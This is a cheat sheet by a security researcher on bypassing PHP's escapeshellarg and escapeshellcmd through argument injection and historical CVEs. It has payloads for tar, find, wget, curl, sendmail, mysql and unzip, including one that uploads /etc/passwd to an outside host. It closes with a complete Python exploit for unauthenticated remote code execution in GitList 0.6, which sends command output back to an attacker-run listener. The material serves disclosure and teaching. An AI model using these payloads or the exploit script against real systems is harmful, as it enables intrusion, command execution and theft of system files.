Introduction
- TL;DR: How exploit/bypass/use PHP escapeshellarg/escapeshellcmd functions.
I create this simple cheat sheet because of GitList 0.6 Unauthenticated RCE so you can easily understand how it works.
Note: This is simple list with easy to understand examples so it doesn't contain all/comprehensive details about escapeshell* functions.
This document is also available on GitHub.
Table of contents
- Introduction
- What escapeshellargandescapeshellcmdreally do?
- Known bypasses/exploits
- Argument Injection
What escapeshellarg and escapeshellcmd really do?
| Function | Description | 
| escapeshellcmd | ensure that user execute only one command user can specify unlimited number of parameters user cannot execute different command | 
| escapeshellarg | ensure that user pass only one parameter to command user cannot specify more that one parameter user cannot execute different command | 
Example. Let't use groups which prints group memberships for each username.
$username = 'myuser';
system('groups '.$username);
=>
myuser : myuser adm cdrom sudo dip plugdev lpadmin sambashareBut attacker can use ; or || inside $username.
On Linux this means that second command will be executed after first one:
$username = 'myuser;id';
system('groups '.$username);
=>
myuser : myuser adm cdrom sudo dip plugdev lpadmin sambashare
uid=33(www-data) gid=33(www-data) groups=33(www-data)In order to protect against this we are using escapeshellcmd.
Now attacker cannot run second command.
$username = 'myuser;id';
// escapeshellcmd adds \ before ;
system(escapeshellcmd('groups '.$username));
=>
(nothing)Why? Because internally PHP runs this command:
$ groups myuser\;id
groups: „myuser;id”: no such usermyuser\;id is treated as single string.
But in this approach attacker can specify more parameters to groups.
For example he can check multiple users at once:
$username = 'myuser1 myuser2';
system('groups '.$username);
=>
myuser1 : myuser1 adm cdrom sudo
myuser2 : myuser2 adm cdrom sudoLet's assume that we want to allow checking only one user per script execution:
$username = 'myuser1 myuser2';
system('groups '.escapeshellarg($username));
=>
(noting)Why? Because now $username is treated as single parameter:
$ groups 'myuser1 myuser2'
groups: "myuser1 myuser2": no such userKnown bypasses/exploits
When you want to exploit those functions you have 2 options:
- if PHP version is VERY OLD you can try one of the historical exploits,
- otherwise you need to try Argument Injection technique.
Argument Injection
As you can see from previous chapter it's not possible to execute second command when escapeshellcmd/escapeshellarg is used.
But still we can pass arguments to the first command.
This means that we can also pass new option to the command.
Ability to exploit vulnerability depends on the target executable.
Below you can find list of known executables with some specific options which can be misused.
[TAR](http://baesystemsai.blogspot.fr/2013/11/security-issues-with-using-phps.html)
Compress some_file into /tmp/sth.
$command = '-cf /tmp/sth /some_file';
system(escapeshellcmd('tar '.$command));Create empty /tmp/exploit file.
$command = "--use-compress-program='touch /tmp/exploit' -cf /tmp/passwd /etc/passwd";
system(escapeshellcmd('tar '.$command));FIND
Find some_file inside /tmp directory.
$file = "some_file";
system("find /tmp -iname ".escapeshellcmd($file));Print /etc/passwd content.
$file = "sth -or -exec cat /etc/passwd ; -quit";
system("find /tmp -iname ".escapeshellcmd($file));Escapeshellcmd with escapeshellarg
In this configuration we can pass second argument to the function.
List files inside /tmp dir and ignore sth.
$arg = "sth";
system(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));List files inside /tmp dir and ignore sth. Use a long listing format.
$arg = "sth' -l ";
// ls --ignore='exploit'\\'' -l \' /tmp
system(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));WGET
Download example.php.
$url = 'http://example.com/example.php';
system(escapeshellcmd('wget '.$url));Save .php file to specific directory:
$url = '--directory-prefix=/var/www/html http://example.com/example.php';
system(escapeshellcmd('wget '.$url));Command executed using .bat
Print list of files inside somedir.
$dir = "somedir";
file_put_contents('out.bat', escapeshellcmd('dir '.$dir));
system('out.bat');Also execute whoami command.
$dir = "somedir \x1a whoami";
file_put_contents('out.bat', escapeshellcmd('dir '.$dir));
system('out.bat');See: how passing parameters to a new process on Windows.
SENDMAIL
Send mail.txt. Set the envelope sender address to [email protected]
$from = '[email protected]';
system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');Print /etc/passwd content.
$from = '[email protected] -C/etc/passwd -X/tmp/output.txt';
system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');CURL
Download http://example.com content.
$url = 'http://example.com';
system(escapeshellcmd('curl '.$url));Send /etc/passwd content to http://example.com.
$url = '-F password=@/etc/passwd http://example.com';
system(escapeshellcmd('curl '.$url));You can get file using:
file_put_contents('passwords.txt', file_get_contents($_FILES['password']['tmp_name']));MYSQL
Execute sql statement:
$sql = 'SELECT sth FROM table';
system("mysql -uuser -ppassword -e ".escapeshellarg($sql));Run id command.
$sql = '\! id';
system("mysql -uuser -ppassword -e ".escapeshellarg($sql));UNZIP
Unpack all *.tmp files from archive.zip into /tmp directory.
$zip_name = 'archive.zip';
system(escapeshellcmd('unzip -j '.$zip_name.' *.txt -d /aa/1'));Unpack all *.tmp files from archive.zip into /var/www/html directory.
$zip_name = '-d /var/www/html archive.zip';
system('unzip -j '.escapeshellarg($zip_name).' *.tmp -d /tmp');Strip non-ascii characters if the LANG environment variable is not set
$filename = 'résumé.pdf';
// string(10) "'rsum.pdf'"
var_dump(escapeshellarg($filename));
setlocale(LC_CTYPE, 'en_US.utf8');
//string(14) "'résumé.pdf'" 
var_dump(escapeshellarg($filename));Historical exploits
1. PHP <= 4.3.6 on Windows - CVE-2004-0542
$find = 'word';
system('FIND /C /I '.escapeshellarg($find).' c:\\where\\');Run also dir command.
$find = 'word " c:\\where\\ || dir || ';
system('FIND /C /I '.escapeshellarg($find).' c:\\where\\');2. PHP 4 <= 4.4.8 and PHP 5 <= 5.2.5 - CVE-2008-2051
Shell needs to uses a locale with a variable width character set like GBK, EUC-KR, SJIS.
$text = "sth";
system(escapeshellcmd("echo ".$text));$text = "sth \xc0; id";
system(escapeshellcmd("echo ".$text));OR
$text1 = 'word';
$text2 = 'word2';
system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));$text1 = "word \xc0";
$text2 = "; id ; #";
system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));3. PHP < 5.4.42, 5.5.x before 5.5.26, 5.6.x before 5.6.10 on Windows - CVE-2015-4642
Pass additional third parameter (--param3) to function.
$a = 'param1_value';
$b = 'param2_value';
system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));$a = 'a\\';
$b = 'b -c --param3\\';
system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));4. PHP 7.x before 7.0.2 - CVE-2016-1904
Heap-based buffer overflow if you pass 1024mb string to escapeshellarg or escapeshellcmd.
5. PHP 5.4.x < 5.4.43 / 5.5.x < 5.5.27 / 5.6.x < 5.6.11 on Windows
Expand some environment variables when EnableDelayedExpansion is enabled.
Then !STH! works similar to %STH%.
escapeshellarg doesn't sanitize ! character.
EnableDelayedExpansion can be set in the registry under HKLM or HKCU:
[HKEY_CURRENT_USER\Software\Microsoft\Command Processor]
"DelayedExpansion"= (REG_DWORD)
1=enabled 0=disabled (default)Example:
// Leak appdata dir value
$text = '!APPDATA!';
print "echo ".escapeshellarg($text);6. PHP < 5.6.18
The functions defined in ext/standard/exec.c which work with strings (escapeshellcmd, eschapeshellarg, shell_exec), all ignore the length of the PHP string, and work with NULL termination instead.
echo escapeshellarg("hello\0world");
=>
helloGitList RCE Exploit
File: src/Git/Repository.php
public function searchTree($query, $branch)
{
    if (empty($query)) {
        return null;
    }
    $query = escapeshellarg($query);
    try {
        $results = $this->getClient()->run($this, "grep -i --line-number {$query} $branch");
    } catch (\RuntimeException $e) {
        return false;
    }
}Simplified:
$query = 'sth';
system('git grep -i --line-number '.escapeshellarg($query).' *');When we check git grep documentation:
--open-files-in-pager[=<pager>]
Open the matching files in the pager (not the output of grep). If the pager happens to be "less" or "vi", and the user specified only one pattern, the first file is positioned at the first match automatically.So basically --open-files-in-pager works like -exec in find.
$query = '--open-files-in-pager=id;';
system('git grep -i --line-number '.escapeshellarg($query).' *');When we put this to the console:
$ git grep -i --line-number '--open-files-in-pager=id;' *
uid=1000(user) gid=1000(user) grupy=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)
id;: 1: id;: README.md: not foundFinal exploit - DOWNLOAD:
import requests
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import urlparse
import urllib
import threading
import time
import os
import re
url = 'http://192.168.1.1/gitlist/'
command = 'id'
your_ip = '192.168.1.100'
your_port = 8001
print "GitList 0.6 Unauthenticated RCE"
print "by Kacper Szurek"
print "https://security.szurek.pl/"
print "REMEMBER TO DISABLE FIREWALL"
search_url = None
r = requests.get(url)
repos = re.findall(r'/([^/]+)/master/rss', r.text)
if len(repos) == 0:
	print "[-] No repos"
	os._exit(0)
for repo in repos:
	print "[+] Found repo {}".format(repo)
	r = requests.get("{}{}".format(url, repo))
	files = re.findall(r'href="[^\"]+blob/master/([^\"]+)"', r.text)
	for file in files:
		r = requests.get("{}{}/raw/master/{}".format(url, repo, file))
		print "[+] Found file {}".format(file)
		print r.text[0:100]
		search_url = "{}{}/tree/{}/search".format(url, repo, r.text[0:1])		
		break
if not search_url:
	print "[-] No files in repo"
	os._exit(0)
print "[+] Search using {}".format(search_url)
class GetHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        parsed_path = urlparse.urlparse(self.path)
        print "[+] Command response"
        print urllib.unquote_plus(parsed_path.query).decode('utf8')[2:]
        self.send_response(200)
        self.end_headers()
        self.wfile.write("OK")
        os._exit(0)
    def log_message(self, format, *args):
        return
def exploit_server():
	server = HTTPServer((your_ip, your_port), GetHandler)
	server.serve_forever()
print "[+] Start server on {}:{}".format(your_ip, your_port)
t = threading.Thread(target=exploit_server)
t.daemon = True
t.start()
print "[+] Server started"
r  = requests.post(search_url, data={'query':'--open-files-in-pager=php -r "file_get_contents(\\"http://{}:{}/?a=\\".urlencode(shell_exec(\\"{}\\")));"'.format(your_ip, your_port, command)})
while True:
    time.sleep(1)Timeline
- 25-04-2018: Release
